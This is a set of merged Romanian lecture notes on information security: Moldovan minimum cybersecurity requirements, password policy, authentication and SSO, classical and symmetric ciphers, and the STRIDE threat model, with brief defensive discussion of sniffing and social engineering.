Documente Academic
Documente Profesional
Documente Cultură
TSI Conspecte Merged
TSI Conspecte Merged
109-
118 art Nr : 277
Legea nr. 467-XV din 21 noiembrie 2003 cu
privire la informatizare şi la resursele
informaţionale de stat
Legea nr. 71-XVI din 22 martie 2007 cu
privire la registre
Programului naţional de securitate cibernetică
a Republicii Moldova pentru anii 2016-2020,
aprobat prin Hotărîrea Guvernului nr. 811 din
29 octombrie 2015
Cancelaria de Stat, ministerele şi alte
autorităţi administrative centrale subordonate
Guvernului şi structurile organizaţionale din
sfera lor de competenţă, autoritățile
administrative autonome și unităţile cu
autonomie financiară, în termen de pînă la 31
decembre 2017, vor asigura implementarea
Cerințelor minime obligatorii de securitate
cibernetică
nivelul 1 – de securitate cibernetică de bază
(utilizare TIC în activitatea instituției);
2) persoana care desfășoară activități de administrare a sistemului utilizează conturi diferite pentru funcții de administrare și funcții de
utilizator;
3) fiecare cont de utilizator este asociat cu o persoană anumită. În cazul în care sistemul prevede neadmiterea utilizării acestor conturi
de către alte persoane, atunci sistemul trebuie să includă mijloace tehnice speciale, care să nu admită utilizarea acestor conturi de către
persoane terțe;
4) în cazul în care sistemul nu este utilizat pentru autentificarea multifactorială, adică nu este un atribut de o natură statică (de
exemplu, simbolic, un mesaj de cod-text de unică folosință), dar este un atribut de altă natură, utilizatorii sistemului trebuie să utilizeze
o parolă;
5) utilizatorul sistemului trebuie să folosească în calitate de parolă о combinaţie din numere (0-9), caractere latine (minuscule şi
majuscule) şi simboluri speciale (!#%), constituită din numărul minim de caractere, stabilit prin regulamentul intern de securitate, dar nu
mai puțin de 7 caractere;
6) se interzice stocarea electronică și transportarea în formă necriptată a parolelor utilizatorilor sistemului, inclusiv a procesului de
autentificare a utilizatorilor. Se admite transportarea acestora prin rețea publică necriptată doar în cazul utilizării unei parole de o singură
folosință, cu o valabilitate de 48 de ore de la momentul transmiterii acestora;
7) sistemul trebuie să dispună de mecanisme de gestiune a parolelor, precum şi să asigure autentificarea şi identificarea utilizatorului
pentru o perioadă limitată de timp;
9) datele despre activitățile în sistem (jurnalizarea) se stochează în timp real şi se păstrează pe perioada stabilită prin regulamentul
intern de securitate, dar nu mai puțin de 6 luni;
10) orice activitate în sistem trebuie să poată fi identificată într-un anumit cont de utilizator sau adresă IP;
11) managementul drepturilor de utilizator trebuie să asigure ca fiecare utilizator să poată face uz doar de drepturile sale. Verificarea
activităților în sistem se realizează periodic, la etape de timp stabilite conform regulamentului intern de securitate, dar nu mai rar de o
dată la 6 luni;
12) managementul controlului accesului trebuie să fie setat ca să permită acces autorizat din rețea externă prin Internet doar cu o
parolă de o singură folosință, inclusiv prin semnătura electronică din cadrul serviciului electronic guvernamental de autentificare şi
control al accesului (MPass).
delimitarea clară a perimetrului rezervat diferitor
grupuri de echipamente IT, alcătuirea planurilor
camerelor de servere și a rețelelor;
asigurarea condițiilor de încălzire, ventilare și aer
condiționat a încăperilor specializate;
asigurarea accesului în spațiile specializate strict
conform competențelor;
asigurarea securității energetice prin utilizarea unor
dispozitive conforme normativelor în vigoare și cu
protecție la suprasarcină;
asigurarea mentenanței adecvate, conform cerințelor
tehnice;
evidența echipamentelor și produselor program,
utilizare în cadrul instituției.
1) echipamentele și produsele program trebuie să fie
protejate ca să asigure operaționalitatea sistemelor;
2) pe calculatoarele conectate la reţeaua Internet trebuie să fie
instalat cel puțin (SO cu actualizările curente aplicate; program
antivirus activat și actualizat; firewall activat; blocare automată a
sistemului în caz de neutilizare a acestuia - screen saver, log-
off);
3) controlul tehnic se efectuează periodic, conform
regulamentului intern de securitate, și vizează:
4) aplicarea cerințelor de securitatea cibernetică la utilizarea
rețelelor:
5) elaborarea planului de continuitate, care va asigura
restaurarea caracteristicilor sistemului și a datelor în caz de
incident de securitate, care să includă:
6) stabilirea mecanismului de scoaterea din uz a
echipamentelor, distrugerea datelor ce le conțin și reutilizarea
lor;
7) stabilirea cerințelor de securitate și restricții pentru
echipamentele personale utilizate în cadrul instituției.
aplicarea ghidului de utilizare a serviciilor sistemului de poștă electronică, aprobat ca document tehnic pentru
toate autoritățile sus-menționate, și obligarea personalului privind:
a) verificarea chenarului cu adrese înainte de expediere a corespondenței și a destinatarului, pentru a evita
erorile;
b) precauția față de conținutul mesajelor recepționate, verificarea datelor expeditorului/companiei, în mod
special a celor de la expeditori necunoscuți, privind eventuala falsificare a identității pentru a ascunde adevărata
sa origine;
c) verificarea și scanarea antivirus a anexelor la mesaje recepționate și a extensiilor acestora;
interzicerea:
a) redirecționării automate a mesajelor din poșta de serviciu spre alte conturi personale/private;
b) utilizării poștei electronice de serviciu pentru a expedia sau redirecționa mesaje considerate obscene,
amenințătoare, ofensatoare, calomnioase, defăimătoare, rasiste, pornografice, de hărțuire, de ură, remarci
discriminatorii și alte mesaje antisociale;
c) transmiterii/retransmiterii în lanț a mesajelor cu divers conținut irelevant pentru activitatea de serviciu;
d) utilizării poștei electronice de serviciu pentru obţinerea unui cîștig material, în scopuri personale, politice
sau de alt gen;
e) distribuirii materialelor protejate de drepturi de autor;
f) transmiterea informațiilor confidențiale prin mesaje electronice nesecurizate;
g) utilizarea poștei electronice de serviciu pentru răspîndirea virușilor de calculator, de infiltrare în sisteme,
deteriorare sau distrugere a datelor, produselor program și echipamentelor ori care duc la degradarea sau
perturbarea performanței rețelei;
h) ascunderea și încercarea de a ascunde identitatea atunci cînd este trimis un mesaj prin poșta electronică de
serviciu;
limitarea accesului personalului la conținut obscen și antisocial, a descărcării conținutului protejat de drepturi de
autor, utilizarea neconformă a informațiilor de serviciu și distribuirea lor, descărcarea materialelor din surse
necunoscute, precum și alte activități ce contravin obiectivelor instituției.
V. CERINȚELE MINIME OBLIGATORII
DE ASIGURARE A SECURITĂȚII CIBERNETICE
LA ACHIZIȚIA SISTEMELOR INFORMAȚIONALE
NOI SAU ACTUALIZAREA CELOR EXISTENTE
1) suportul anumitor sisteme de securitate și de mentenanță (inclusiv înlăturarea lacunelor
de securitate ale sistemului, într-o perioadă prestabilită);
4) sistemul de securitate cibernetică poate prevedea caracteristici mai stricte decît cele
prevăzute în prezentele Cerințe, dar în măsura în care nu intră în conflict cu legislația în
vigoare;
5) înainte de achiziționarea unui nou sistem sau dezvoltarea celui existent, instituția
elaborează și aprobă politica de securitate și se asigură că sistemele noi, pe parcursul
dezvoltării lor, vor fi conforme prezentelor Cerințe;
2) serviciile externalizate;
1. Metode de autentificare
Controalele sunt impuse pentru a diminua riscurile la care sunt expuse sisteme
informaționale și pentru reducerea potențialelor pierderi. Controalele vizează responsabilizarea
persoanelor care accesează informații sensibile.
Responsabilizarea este înfăptuită prin mecanisme de control al accesului care exercită
funcțiile de identificare, autentificare, autorizare și auditare.
Autentificarea este procesul de stabilire că un obiect sau un subiect sunt adevarate, asa cum
cineva pretinde - procesul de verificare a identitatii digitale.
Autorizarea este procesul prin care unei entități particulare i se acordă dreptul să presteze o
activitate, pe baza unor reguli, ca urmare a unei proprietăți moștenite din procesul de autentificare.
Pot fi determinate de o gama de restrictii: restricții de timp, restricții de locație fizică,
restricții de acces multiplu la resursă etc..
Auditarea reprezintă urmărirea evenimentelor, precum eșecuri de autentificare și
autorizare, resurse consumate de către utilizatori.
În afara aspectelor de securitate aceste informații pot fi utilizate pentru management,
planificare, facturare etc.
Informațiile tipice strânse conțin identitatea utilizatorului, natura serviciului furnizat,
momentul la care serviciul a inceput și când s-a terminat etc.
RISCURI ȘI RECOMANDĂRI
Să fie utilizată autentificarea multifactorială, adică pe lîngă faptul că se utilizează o parolă,
să fie utilizat, de exemplu, un mesaj de cod-text de unică folosință, un token de securitat etc.
Să se utilizeze mecanismele de gestiune a parolelor, care asigură autentificarea şi
identificarea utilizatorului pentru o perioadă limitată de timp.
2. Managementul parolelor
Parola reprezintă cea mai utilizată metodă de autentificare în sistemele informatice sau servicii
web. Din punct de vedere a utilizatorului, memorarea unei parole unice este mai uşor, decît gestionarea
mai multora. Pentru atacatori, utilizarea unei singure parole înseamnă că toate sistemele vor fi în mod
automat compromise, dacă parola dintr-un sistem slab protejat va fi spartă cu succes.
Parola asigură prima linie de apărare împotriva accesului neautorizat de aceia este esenţial
să se mențină eficacitatea acestei linii de apărare implimentîndu-se în mod riguros o bună politică
de gestionare şi administrare a parolei.
Pentru un management mai eficient şi menţinerea securităţii parolelor se recomandă
respectarea urmatoarelor politici :
- Parola nu trebuie să coincidă cu codul numeric personal, cu data naşterii, cu numărul
de telefon, cu nume, prenume, numele de utilizator (login-ul), cu numele membrilor de
familiei, cu funcţia, departamentul etc., cu nume de străzi, nume proprii, cu mărci sau modele de
maşini etc., cu numele sau sloganul unor organizaţii, să fie termeni tehnici sau cuvinte din
dicţionar.
- Parolele nu trebuie comunicate nimănui sub niciun motiv, chiar şi cu scopul reparării
calculatorului, în aşa cazuri se creează un cont nou cu un nivel de acces corespunzător.
- Parolele comune trebuie schimbate imediat ce o persoană părăsește grupul sau nu mai
are dreptul utilizării.
- Parolele trebuie schimbate imediat ce se constată unele bănuieli privind cunoașterea lor
de alte persoane sau compromiterea lor.
- Parolele trebuie ținute minte și nu scrise oriunde (cu excepția necesității intervenției de
urgență/plic sigilat).
- Dacă este dificil să se rețină mai multe parole, un manager de parole de încredere poate
fi o soluție bună.
- La introducerea parolei nu trebuie să se afle persoane străine prin preajmă.
- Blocarea operațiunilor de încercare repetată de logare.
- Niciodată să nu fie introdusă parola după ce a fost urmat un link dintr-un e-mail primit
de la un site care nu prezintă încredere.
- Dacă un terminal funcționează o perioadă lungă de timp, procesul de autentificare
trebuie să aibă loc la intervale regulate de timp pentru a se asigura că nu folosește altcineva
sistemul.
- La deschiderea unei noi sesiuni de lucru, utilizatorului trebuie să i se aducă la cunoștință
ultimul timp de accesare a sistemului cu parola respectivă.
- Evitarea reutilizării parolei anterioare. Dacă un cont de utilizator a fost compromis
anterior, fie conștient sau inconștient, reutilizarea parolei ar putea permite compromiterea repetată.
Deasemenea, în cazul în care o parolă a fost împărtășită pentru un motiv oarecare, reutilizarea ei
ar putea permite cuiva acces neautorizat la conturi.
- Evitarea utilizării aceleași parole pentru mai multe conturi.
- Să nu fie utilizată funcţonalitatea de logare automată. Aceasta diminuează valoarea
parolei, dacă un răufăcător va avea acces la un sistem astfel configurat, el va fi în măsură să preia
controlul asupra întregului sistem și a avea acces la informații potențial sensibile.
- Notificarea despre schimbarea parolei.
- Actualizarea adresei de e-mail de recuperare în mod regulat, pentru a putea primi e-
mailuri în cazul în care este nevoie de resetat parola. De asemenea, se poate adăuga un număr de
telefon pentru a primi codurile de resetare a parolei prin mesaj text. În plus, multe site-uri oferă
posibilitatea de a răspunde la o întrebare de securitate în cazul în care parola este uitată. Dacă
întrebarea este creată de sinestătător, răspunsul la ea ar trebui să fie cunoscut doar de utilizator.
Răspunsul nu ar trebui să poată fi ghicit din informațiile pe care sunt postate online pe bloguri sau
pe profilurile din rețelele sociale. Dacă întrebarea este aleasă dintr-o listă de opțiuni, cum ar fi
orașul în care v-ați născut, răspunsul trebuie personalizat astfel încît, chiar dacă cineva ghicește
răspunsul, nu va ști cum să-l introducă în mod corect.
- Sistemele de calcul nu trebuie lăsate nesupravegheate fără a activa un sistem de blocare
a accesului la acestea; deblocarea trebuie să se facă folosind parola.
RESTRICȚII
Este interzisă stocarea electronică și transportarea în formă necriptată a parolelor
utilizatorilor sistemului, inclusiv a procesului de autentificare a utilizatorilor.
Nu se admite utilizarea în echipamentele și produsele program a parolelor implicite (de
la producător).
O parolă puternică reduce riscul ghicirii sau aflării sale prin atacul brute-force. Puterea
unei parole este determinată de lungimea, complexitatea şi impredictibilitatea apariţiei caracterelor
în componenţa sa.
Pentru crearea unei parole puternice este recomandat ca ea să conţină:
- cel puţin 14 caractere lungime şi nu 8 – ele sunt destul de vulnerabile;
- caractere alfabetice mari și mici (A-Z, a-z);
- cel puțin un caracter numeric (0-9);
- cel puțin un caracter special (~! @ # $% ^ & * () _- + =);
- să poată fi tastată rapid (reduce observarea „peste umăr”).
Un alt model de tipar transformă o parola simplă, cu un grad foarte mic de securitate Avion!,
într-o parolă cu un grad de securitate foarte ridicat QWfg8990hj!” (figura 3).
Au fost dezvoltate mai multe soluţii de gestionare şi administrare mai eficientă a parolelor
pentru a reduce numărul de conturi şi parole pe care utilizatorii trebuie să le memoreze. Cum ar fi
soluţii de management centralizat Single Sign One (SSO), Sincronizarea Parolei şi soluţie de
management local - manager de parole. Aceste soluţii reduc probabilitatea compromiterii
parolelor deoarece ele nu sunt scrise sau tapate şi dispare necesitatea creării unor parole slabe.
Single Sign One este o tehnologie care permite utilizatorului printr-o singură autentificare
să aibă acces la toate resursele la care este autorizat să le utilizeze. Autentificarea la resursele
individuale este suportată de către tehnologia SSO într-un mod transparent utilizatorului. Exemple
de soluții SSO: Windows Live ID, OpenID.
OpenID este un sistem standard de autentificare a utilizatorilor în cadrul site-urilor. Adică
un singur utilizator și o singură parolă poate să se logheze pe toate site-urile fară a mai crea conturi
noi sau a confirma email-uri.
Pentru a deține un astfel de cont utilizatorul trebuie sa se inregistreze la un provider OpenId
(Google, Facebook, Twitter, Yahoo, Wordpress, LiveJournal, Myspace).
Aceste site-uri nu sunt singurele care oferă un OpenId. Este foarte important ca providerul
OpenId-ului să fie unul cît mai sigur şi mai ușor în utilizare.
De obicei site-urile care suportă OpenID pe pagina de autentificare ,pe lîngă cîmpurile
standarte login și parolă, au cîmpul OpenID. Pentru a se autentifica utilizatorul trebuie să intoducă în
acest cîmp autentificatorul pe care îl primește de la provider-ul Open-ID. Pe lîngă protocolul de
autentificare dat se poate folosi și un protocol de autentificare extins. În acest caz utilizatorul creează
pe serverul companiei provider un cont cu care se poate loga pe oricare site care suportă OpenID.
Sincronizarea parolei este o soluţie de management care constă în schimbarea parolei la
alte resurse cu parola dată de utilizator, astfel el are posibilitatea să se autentifice utilizînd o singură
parolă pentru mai multe resurse. Beneficiul principal al acestei soluţii este reducerea numărule de
parole pe care utilizatorii au nevoie să și-l amintească. Acest lucru permite utilizatorilor să
selecteze parole puternice și să le memoreze mai ușor. Spre deosebire de tehnologia SSO,
sincronizarea parolei nu reduce numărul de ori pe care utilizatorii trebuie să se autentifice. Soluția
de sincronizare a parolei este de obicei mai ușoară și mai puțin costisitor de implementat decât
tehnologiile SSO, dar sincronizarea parolei are și dezavantaje importante de securitate. Deoarece
sincronizarea parolei creează aceeași parolă pentru a fi utilizate la mai multe resurse, fiecare dintre
care stochează parola sau hash-ul parolei, compromiterea parolei la orice instanță le compromite
pe toate. Acest lucru este deosebit de periculos dacă sincronizarea parolei este utilizată pentru
resurse cu siguranță înaltă .
O altă abordare a managementului parolelor este un soft de gestionare şi administrare a parolelor.
Managerul de parole este o aplicație software care gestionează și organizează parolele
utilizatorului. Softul stochează parole criptate într-o bază de date sau fișier, cerînd utilizatorului să
creeze o parolă unică de acces la toată baza de date.
Managerele de parole pot fi folosite ca protecție împotriva phishing-ului și pharming-ului.
Spre deosebire de om, softul poate încorpora un script de logare automată, care compară URL-ul
site-ului actual cu cel a site-ului stocat, dacă cele două nu se potrivesc, atunci managerul de parole
nu completează automat câmpurile de conectare, astfel utilizatorul fiind protejat împotriva
imitațiilor vizuale și site-urilor clone. Acest avantaj încorporat, este necesar și utilizatoriilor care
memorează cu ușurință parolele.
Majoritatea managelor de parole sunt dotate cu generatoare de parole, oferind utilizatorului
posibilitatea creării unor parole indestructibile.
Conform NIST, SP 800-118 Guide to Enterprise Password Management, aplicaţile de
management local al parolelor îi sunt recomandate următoarele caracteristici:
- Funcționare: utilizatorul selectează un cont din listă, parola se afișează, utilizatorul o
copiază şi o pune în cîmpul parolă.
- Aplicaţia trebuie să se închidă automat după o anumită perioadă de inactivitate.
- Să șteargă automat bufferul de memorie folosit la copierea parolei.
- Să existe posibilitatea de backup a bazei de date şi a informaţiei.
- Să utilizeze o parola Master puternică, greu de ghicit sau spart.
- Să utilizeze algoritmi (şi implementările acestora) aprobaţi de Federal Information
Processing Standard (FIPS).
- Utilizatorul trebuie să faca update manual la baza de date dupa fiecare modificare a unei parole.
- Aplicaţia trebuie să permită setarea setului de caractere (cifre, litere mici, mari,
simboluri) şi a lungimii pentru fiecare parolă în parte, la alegerea utilizatorului, pentru
adaptarea uşoară la diferite sisteme.
- Să poată administra separat parolele cu impact major (importante) de cele normale.
- Să nu permită salvarea de parole şi informaţii sensibile în mod nesecurizat.
- Crearea şi înlocuirea parolelor să se facă uşor pentru facilitarea schimbării periodice.
- La evenimente imprevizibile (crash, etc...) nu trebuie să rămînă parole şi informaţii
nesecurizate, pe HDD, SD, Flash sau altă memorie nevolatilă.
Majoritatea managerilor de parolă actualii îndeplinesc aceste caracteristici utilizînd şi
caracteristiicii suplimentare cum ar fi logare automată, fără utilizarea tastaturei, aceasta fiind realizată
cu ajutorul pluginurilor încorporate în browser-e. Exemplu de manageri de parole: KeePass, eWallet,
LastPass, 1Password, RoboForm, Kaspersky Password Manager etc. (figura 4).
• Preventiv/administrativ
• Preventiv/tehnic (IntrusionPreventionSistem,
protocoale, criptare, metode de acces etc.)
• Preventiv/fizic
• Detectiv/administrativ
• Detectiv/tehnic (IntrusionDetectionSistem)
• Detectiv/fizic (analiza a ceea ce oferă senzorii
sau camerele)
2. Autentificare, autorizare, auditare (AAA)
Autentificare:
8
Autentificare, Autorizare, Auditare (AAA)
Autorizare:
9
Autentificare, Autorizare, Auditare (AAA) (3)
10
Metode de autentificare
Avantaje:
• Nu necesita resurse importante de procesare
• Este o metoda de autentificare simpla
• Se pot transmite si alte informatii impreuna cu parola
Dezavantaje:
• Parola poate fi usor ghicita in multe cazuri
• De multe ori sunt stocate in clar pe un server (cine are acces la baza de date a serverului
poate pretinde ca este alt utilizator).
• Chiar daca sunt stocate criptat pe server se pot transmite prin retele nesigure.
• Fiecare sistem detine o copie a informației de autentificare. Actualizarea parolele pe
fiecare sistem duce la alegerea de parole simple (risc).
• Autentificarea nu este refolosibila, se autentifica pe fiecare sistem sau aplicatie.
Exceptii: OpenID, OAuth
• Un sistem care impersoneaza sistemul real (prin IP spoofing), permite serverului
impostor sa colecteze informatia personala ce va fi folosita pentru autentificare pe
serverul real.
11
Metode de autentificare
12
Metode de autentificare
14
Exemple autentificare multi factor
• Tehnologia OTP
15
Zero-knowledge proofs
16
Rohos Logon Key
• Soluția de autentificare prin 2 factori
convertește orice unitate USB în token de
securitate pentru computerul Dvs. și permite
accesul la Windows într-un mod sigur cu USB
token, înlocuind Windows login
Rohos Logon Key
• Înlocuiește parola de autentificare de bază cu o cheie USB
hardware (unitate flash USB sau card de memorie)
• Utilizează parola mare, care nu este necesar de memorizat
• Procesul de autentificare cu cheia USB este complet automat și
rapid!
• Sistemul este protejat cu parolă însă nu este necesar să introduceți
parola manual de fiecare dată cînd vă conectați sau deblocați
Windows
• Autentificare asigurată prin 2-factori: Cheia USB + parola PIN
• Folosiți o singură cheie USB pentru a va conecta la computerul de
acasa, laptop și de oficiu
• Acces limitat la computer bazat pe cheia USB
• Windows este protejat chiar și în Modul de Siguranță
• Stabilirea unei parole la contul Dvs. de utilizator ofera o protecție
mai buna pentru computerul în hibernare.
Rohos Logon Key
• One-time password
• Password Manager
One-time password
• Parola utilizata o singura data ( one time password, OTP) — este valida
doar pentru o singura sesiune de autentificare sau poate fi limitata de un
interval de timp
23
One-time password
• Tipuri: parola provocare raspuns (challenge-response) si lista de parole
24
Exemple de OTP
• RSA SecurID utilizatorul poarta un token care este sincronizat in timp cu serverul
central RSA. El genereaza numere de 6 digiti care se schimba la 60 secunde. La
login se combina numarul de 6 digiti afisat de token cu PIN-ul personal pentru a
crea one-time password. (http://www.youtube.com/watch?v=k_zpbJF9pmc)
25
RSA SecurID
(server central de autentificare, agenţi software şi
token-uri)
• Agentul este o aplicaţie software instalată pe o maşină ca: domain server, web server sau calculator
personal, care facilitează comunicarea cu serverul central de autentificare. El cere fiecărui user care vrea
să se logheze să introducă passcode-ul corect plus informaţiile de logare (user id şi network password)
• Token-ul este un dispozitiv hardware sau software care generează şi afişează un număr aleator (de 6
cifre) pentru a permite utilizatorilor să acceseze securizat resurse protejate din reţea. Numărul random se
numeşte tokencode.
• În plus faţă de tokencode unele soluţii mai necesită un PIN, care poate fi creat de user sau generat de un
server central de autentificare. Când utilizatorii doresc să acceseze acea resursa, pentru login, trebuie să
introducă acest passcode (tokencode plus PIN).
• Fiecare token conţine un ceas şi un număr unic (seed number). La fiecare minut, un algoritm combină
timpul curent şi acest număr rezultând afişajul de pe token, acele 6 cifre aleatoare.
28
Soluţia Single Sign On (SSO)
• Odată cu proliferarea serviciilor on-line a apărut şi nevoia
firească de autentificare a consumatorilor acestor servicii.
• Astfel, s-a ajuns ca un individ să fie nevoit a memora mai
multe zeci de parole, lucru care tinde să devină ineficient
şi nesigur.
• Utilizatorii în general preferă să nu ia în calcul riscurile la care
se expun şi pentru a evita notarea parolelor pe diverse
suporturi aleg calea cea mai la îndemână, parola unică pentru
toate serviciile.
• O soluţie la acest tip de probleme este adoptarea
sistemelor cu autentificare singulară, numite Single
Sign-On.
• Un sistem SSO permite ca un utilizator să fie autentificat
automat fiecărui serviciu pe care îl accesează, cu
condiţia autentificării iniţiale cu succes a clientului la sistemul
SSO.
Soluţia Single Sign On (SSO)
• OpenID — este un sistem decentralizat care permite
utilizatorilor să utilizaze un singur cont pentru a se
autentifica pe mai multe site-uri, portaluri, bloguei sau
forumuri care nu au vreo legatură comună.
• Tehnologii criptografice
Criptografia
• Criptografia este arta şi ştiinţa ascunderii
semnificaţiei unei comunicări împotriva unor
interceptări neautorizate.
• Codurile
• Ascunderea informaţiilor(stenografia,
filigranarea)
Substituţia: Patratul Polibian
• Esenţa metodei consta în înlocuirea
simbolurilor textului cifrat după o regulă
bine determinată iniţial cu simbolurile
aceluiaşi alfabet sau unui alfabet străin.
• Scriitorul şi istoricul Polibiu a inventat în
scopul cifrării un tabel patrat cu mărimea
5X5, completat haotic(la întîmplare) cu
literele alfabetului grecesc.
Substituţia: Patratul Polibian
• Făcînd a analogie cu alfabetul nostru
actual, tabelul completat 5x5 va arăta:
Dacă vom încerca
să cifrăm cuvintul:
CRIPTOGRAFIE
vom obţine:
DSJQPKHSBGJA
Substituţia: Cifrul lui Caesar
• Această denumire cifrul a moştenit-o de la
numele împăratului roman Caius Iulius Caesar,
care utiliza acest cifru în mesajele sale cu
Ciceron (anii 50 pînă la era nouă).
• Litera cu care se înlocuia litera iniţială, se
determina prin substituţia în alfabet de la litera
iniţială peste N litere. În cazul ajungerii la
sfîrşitul alfabetului, se efectua trecerea ciclică la
începutul lui.
• Caesar utiliza cifrul substituţiei N=5, aşa cifru
poate fi definit prin tabelul compus din perechile
de litere a textului iniţial şi respectiv cel cifrat.
Substituţia: Cifrul lui Caesar
ZAVI EEPĂ DELD NEPE NAEU RRÎI ARLS INLM ETOE CUEV ĂATR NAAU NNNN
Permutarea: Permutare dublă
• În cazul permutării duble a coloanelor şi
liniilor tabelele permutărilor se definesc
aparte pentru coloane şi aparte pentru linii.
La început în tabel se înscrie textul
mesajului, apoi pe rînd se fac permutările
coloanelor, după care – a liniilor.
• Avînd textul iniţial VENIŢI MARŢI SEARA
• După prima permutare: EINV IAMŢ ŢSIR AARE
• După a doua permutare: IAEŢ AAIS MRNI ŢEVR
Permutarea: Permutare dublă
• Cheiea pentru cifrul dublei permutări serveşte
consecutivitatea de cifre a coloanelor şi
consecutivitatea de cifre a liniilor din tabelul
iniţial(în exemplul nostru: parola coloanelor –
4132 şi parola liniilor 3142, plus la asta a doua
citire a fost pe coloane, nu pe linii).
Codurile
• Codurile reprezintă o transformare care
operează la nivelul cuvintelor sau frazelor.
• Codurile sunt utilizate pentru a putea transmite
unele construcţii predefinite din domenii diferite,
de regulă afaceri. De ex., codul 500 ar putea să
însemne “De efectuat recepţia cantitativă şi
calitativă a mărfurilor expediate”.
• Serviciile telegrafice folosesc pentru diminuarea
mesajului. Există două tipuri de cărţi: codul –
semnificaţia în clar sau semnificaţia în clar -
codul
Ascunderea informaţiilor:
steganografia
• Cuvântul steganografie provine din grecescul steganos
(secret) şi graphein (reprezentare grafică - scriere)
• Un mesaj text, imagine sau sunet poate fi încorporat într-
un alt mesaj text, imagine sau sunet cu ajutorul unui
algoritm implementat în aşa fel încât procesul de
ascundere să nu fie bănuit sau detectat nici de ochiul
uman, dar nici de un program specializat în acest sens
• Algoritmi Simetrici
Algoritmi care folosesc acceași cheie pentru criptare și
decriptare
– Pe Bloc
Împart fişierul în blocuri egale de biți și cripteaza fiecare bloc
independent de celelalte
– Pe flux
Fiecare caracter al textului deschis se substituie cu alt caracter
– Sincroni
caracterul criptat Ci+1 NU depinde de Ci
– Cu autosincronizare
caracterul criptat Ci+1 depinde de Ci
Tipuri de algoritmi de criptare
• Algoritmi Asimetrici
– RSA
• Algoritmi Simetrici
– AES(Advance Encryption Standart)
– DES(Data Encriptyon Standart)
– 3DES
– Blowfish
– IDEA
– RC2, RC4, RC5
Algoritmi Simetrici
Sistemele criptografice simetrice folosesc aceeasi cheie K, atit la
criptarea, cît si la decriptarea mesajelor. Cheia este secreta si este
folosita in comun de catre emițător, cel care criptează mesajul M,
si de catre receptor
DES(Data Encryption Standard)
• Propus iniţial de cunoscutul gigant IBM sub
forma sistemului Lucifer, DES a rezistat
evaluării făcute de-a lungul a aproape două
decenii nu numai de „spărgătorii de cifruri" de la
NSA-National Security Agency din SUA ci şi de
nenumăraţi matematicieni de la marile
universităti din lume.
• DES a fost adoptat ca standard federal în 1977
şi a fost folosit intens datorită performanţelor de
viteză atinse la cifrare.
Algoritmul DES
Sistemul DES cripteaza un bloc de text clar de 64 biti intr-un text
criptat tot de 64 biti, utilizand o cheie de 56 biti. Algoritmul cuprinde
3 etape:
1. Clasificarea amenințărilor
Metoda STRIDE elaborată de Microsoft, este un acronim ce vine de la șase categorii de amenințări:
- Spoofing (falsificarea identității): reprezintă pretinderea de a fi altcineva prin obținerea accesului ilegal asupra
datelor;
- Tampering (fraudarea datelor): reprezintă procesul de modificare a datelor precum modificarea datelor dintr-o
bază de date sau alterarea datelor aflate în tranzit;
- Repudiation (repudierea): repudierea este asociată cu utilizatorii care neagă efectuarea unei acțiuni fără ca
celelalte părți să poate demonstra inversul; de exemplu, un utilizator a efectuat o operație ilegală într-un sistem care nu
are un mecanism de urmărire a acțiunilor efectuate;
1
- Information disclosure (dezvăluirea informației): implică expunerea informațiilor sensibile individualilor care nu
ar trebui să aibă acces la informațiile respective; de exemplu, abilitatea unui utilizator de a citi un fișier la care nu au
acces;
- Denial of service (întreruperea serviciilor): reprezintă un atac care previne accesul legitim la resurse; de exemplu,
făcînd un serviciu web temporar indisponibil;
- Elevation of privilege (ridicarea nivelului de privilegii): reprezintă un atac în care un utilizator obține acces privilegiat
și prin urmare are privilegii suficiente pentru a compromite sau a distruge întregul sistem; ridicarea nivelului de privilegii
include situațiile în care un utilizator a trecut de toate mecanismele de securitate a sistemului, devenind parte de încredere a
sistemului.
Ținta amenițărilor:
- Sistemele informatice și procesele care le execută – instrucțiunile programelor și datele care sunt prelucrate de aceste
programe;
- Datele – reprezentarea de fapte, concepte sau instrucțiuni, într-o modalitate potrivită pentru comunicare,
interpretare sau procesare: dstele curente din memorie, fișiere stocate sau informații transmise prin mediul de
comunicații;
- Sistemul de calcul - dispozitivele fizice care constau din una sau mai multe componente asociate, incluzând unități de
procesare, de memorie și periferice, controlate de programele stocate intern;
- Componenta (fizică sau logică) sistemului de calcul sau a rețelei de comunicații;
- Conturi de utilizator sau administrator – domeniul de acces al utilizatorului (în sistem sau rețea), care este
controlat conform unor înregistrări ce conțin numele contului, parola și drepturile de acces la cont;
- Rețelele de comunicații și Internetul – grupul interconectat de echipamente de rețea sau rețele interconectate.
2. Tipuri de amenițări
RISCURI ȘI RECOMANDĂRI
Cele mai bune soluţii împotriva atacurilor prin dicţionar sunt: modificarea sistematică a parolelor, rularea periodică a unui
program de analiză a sistemului pentru verificarea parolelor.
Un tip interesant de acces ilegal, din ce în ce mai utilizat astăzi, îl reprezintă atacurile prin inginerie socială. Acestea
au devenit mai frecvente şi mai periculoase. Un exemplu frecvent de inginerie socială este ca un hacker să trimită mesaje
email către utilizatori (sau pur şi simplu să folosească telefonul) pentru a-i anunţa pe aceştia că el este administratorul
sistemului. Deseori, mesajele solicită utilizatorilor să-şi trimită parola prin email către administrator, fiindcă sistemul
este într-o pană sau va fi dezafectat temporar.
Un atac prin inginerie socială se bazează cel mai mult pe ignoranţa utilizatorilor în materie de calculatoare şi reţele.
RISCURI ȘI RECOMANDĂRI
Cea mai bună reţetă împotriva ingineriei sociale o reprezintă educaţia utilizatorilor.
2
Fiecare pachet trimis prin Internet poate tranzita un număr mare de calculatoare şi reţele înainte de a ajunge la
destinaţie. Prin intermediul unui interceptor de pachete (sniffere), hackerii pot intercepta pachetele de date (inclusiv
cele cu mesaje de login, transmisii ale identificatorilor numerici ai cărţilor de credit, pachete email etc.) care călătoresc
între diferite locaţii din Internet. După ce interceptează un pachet, hackerul îl poate deschide şi poate fura numele
hostului, al utilizatorului, precum şi parola asociată pachetului.
RISCURI ȘI RECOMANDĂRI
Pentru a preveni atacurile de interceptare ilegală asupra reţelelor se recomandă să fie folosite schemele de
identificare, cum ar fi un sistem cu parolă unică (OTM) sau un sistem de autentificare prin tichete (Kerberos). Criptarea
datelor transmise la fel prezintă o soluție eficientă de protecție.
În general, sniffer-ele sunt utilizate de administratorii de reţea sau de Internet Service Provideri (ISP) pentru
realizarea analizei de trafic în cadrul unei reţele în scop tehnic, de mentenanţă. Totodată, acestea sunt folosite de către
administratorii reţelelor unor instituţii pentru monitorizarea comunicaţiilor (interne sau externe) ale angajaţilor.
